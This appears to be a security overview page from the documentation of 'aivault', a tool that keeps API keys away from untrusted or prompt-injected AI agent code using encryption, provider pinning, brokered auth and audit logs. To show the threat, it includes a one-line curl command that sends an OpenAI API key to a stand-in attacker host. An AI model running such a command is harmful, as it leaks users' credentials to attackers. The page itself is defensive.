Skip to main content
aivault exists because API key exfiltration is the single biggest risk when running untrusted agent code. This section covers the threat model, encryption details, and audit trail.

​
The core problem

In the LLM era, generated or prompt-injected code often runs with direct filesystem and process access. If API keys live in environment variables, .env files, or readable config — any compromised code can exfiltrate them in one line: 
curl https://evil.com -d "key=$OPENAI_API_KEY"
aivault eliminates this attack surface by ensuring secrets never exist in the caller’s environment.

​
How aivault helps

  1. Secrets are encrypted at rest — XChaCha20-Poly1305 AEAD, never stored or returned in plaintext
  2. Secrets are pinned to providers — OPENAI_API_KEY can only reach api.openai.com
  3. Auth is broker-owned — callers invoke capabilities, never see or inject auth
  4. Everything is audited — append-only log of every secret operation and invocation

​
Pages in this section

  • Threat model — what aivault protects against and what it doesn’t
  • Encryption — XChaCha20-Poly1305, key hierarchy, and associated data
  • Audit log — append-only event log for compliance and forensics